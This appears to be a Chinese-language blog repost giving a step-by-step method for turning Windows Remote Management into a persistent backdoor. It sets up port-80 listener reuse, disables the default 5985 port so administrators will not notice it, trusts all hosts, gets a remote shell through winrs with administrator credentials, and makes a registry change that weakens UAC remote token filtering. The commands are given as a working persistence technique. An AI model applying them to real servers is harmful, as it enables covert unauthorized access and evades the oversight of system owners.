Winrm遠端命令/埠複用後門復現運用
阿新 • • 發佈:2021-01-02
一、簡介
WinRM是WindowsRemoteManagementd(win遠端管理)的簡稱。基於Web服務管理(WS-Management)標準,使用80埠或者443埠。這樣一來,我們就可以在對方有設定防火牆的情況下遠端管理這臺伺服器了。
Server2008R2及往上的系統中預設中都開啟該服務,從Server2012系統後開始,該WinRM服務便被設定為預設開啟。Win7系統中卻預設安裝此WinRM服務,但是預設為禁用狀態,Win8系統和Win10系統也都預設開啟WinRM服務。
PS:WIN7或2008需要手動開戶WINRM
預設埠:
5985/tcp (HTTP)
5986/tcp (HTTPS)
二、開啟WinRM服務
開啟命令:
winrm quickconfig ‐q
開啟後可通過以下命令查詢:
netsh http show servicestate
此時如果機器上開啟了5985埠,說明服務已經成功啟動。
三、埠複用
只需執行一條命令:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
這條命令將會開啟80埠的監聽器,如若伺服器上存在web服務,也不影響這條命令的執行。
同時可以通過下述命令來檢視所開啟的監聽器:
winrm e winrm/config/listener
而此時5985還是開啟的,如果不想讓管理員發現該埠,可以只設置80埠的監聽器,而如果是2012伺服器預設開啟的,則無需進行如下步驟:
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
至此伺服器就配置完成。
四、後門利用
# 啟動winrm winrm quickconfig ‐q # 設定信任主機地址 winrm set winrm/config/Client @{TrustedHosts="*"}
本機也需開啟winrm和新增信任地址,如上是cmd的新增方式
powershell如下
set-item wsman:\localhost\Client\TrustedHosts -value 192.168.1.2
後續利用只需要連結即可
winrs ‐r:http://www.target.com ‐u:administrator ‐p:Password [命令]
如遇類似錯誤,只因chcp不同導致,執行chcp 437即可解決
替換上述圖中命令的whoami為cmd即可獲取互動shell
應用環境可為內網,且不出網的情況下所建立的持續化後門方式。
利用條件:
1. 只允許administrator使用者登入
如需不限制使用者登入得修改登錄檔位置
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
2. 目標內網有80埠開放出來
3. 須知登入使用者的明文密碼